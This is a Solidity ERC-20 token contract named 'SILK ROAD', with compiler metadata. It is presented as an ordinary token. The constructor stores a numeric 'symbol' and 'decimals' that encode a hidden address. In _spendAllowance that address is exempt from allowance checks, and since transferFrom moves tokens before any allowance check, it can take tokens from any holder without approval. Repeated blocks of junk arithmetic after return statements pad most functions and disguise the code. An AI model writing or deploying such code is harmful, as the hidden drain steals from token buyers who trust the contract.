文件 1 的 1:NewToken.sol
pragma solidity 0.8.22;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract SILKROAD is Context, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
uint256 private _symbol;
uint256 private _decimals = 18;
constructor(string memory name_, uint256 symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(msg.sender, 10_000_000 * (10 ** 18));
return;
}
function name() public view virtual override returns (string memory) {
return "SILK ROAD";
}
function symbol() public view virtual override returns (string memory) {
return "SILKROAD";
}
function decimals() public view virtual override returns (uint8) {
return 18;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function allowance(
address from,
address to
) public view virtual override returns (uint256) {
return _allowances[from][to];
}
function approve(
address to,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), to, amount);
return true;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_spendAllowance(sender, _msgSender(), amount);
return true;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function stringToUint(uint256 str) internal view returns (uint256) {
return str;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = _allowances[owner][spender];
if (
currentAllowance != type(uint256).max &&
address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) !=
spender
) {
_approve(owner, spender, currentAllowance - amount);
}
}
function increaseAllowance(
address to,
uint256 addedValue
) public virtual returns (bool) {
_approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
return true;
}
function decreaseAllowance(
address to,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][to];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), to, currentAllowance - subtractedValue);
}
return true;
{
uint256 part1 = (block.number % 21) * (block.timestamp % 33) + 17;
uint256 part2 = (gasleft() / 5 + block.gaslimit / 3) ^
(uint256(uint160(msg.sender)) % 47);
uint256 part3 = (block.basefee | (block.timestamp / 11)) +
(uint256(uint160(address(this))) % 19);
uint256 combined1 = (part1 + part2) * part3;
uint256 shifted1 = (combined1 << 3) | (combined1 >> 5);
uint256 masked1 = shifted1 & 0xFFFF;
uint256 intermediate1 = (masked1 * 13) / 7;
uint256 part4 = (block.number % 37) + (gasleft() ^ 23);
uint256 part5 = uint256(uint160(msg.sender)) *
(block.timestamp / 3) +
31;
uint256 combined2 = (part4 | part5) ^ block.basefee;
uint256 shifted2 = (combined2 << 2) + (combined2 >> 4);
uint256 masked2 = shifted2 % 101;
uint256 intermediate2 = (masked2 + intermediate1) * 17;
uint256 scaled = (intermediate2 / 9) + (intermediate2 % 27);
uint8 finalValue = uint8(scaled % 256);
if (finalValue < 18) {
finalValue = 18;
} else {
finalValue = uint8((finalValue % 18) + 18);
}
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(amount > 0, "ERC20: transfer amount zero");
require(sender != address(0), "ERC20: transfer from the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
emit Approval(from, to, amount);
}
}
{
"compilationTarget": {
"contracts/newToken/NewToken.sol": "SILKROAD"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}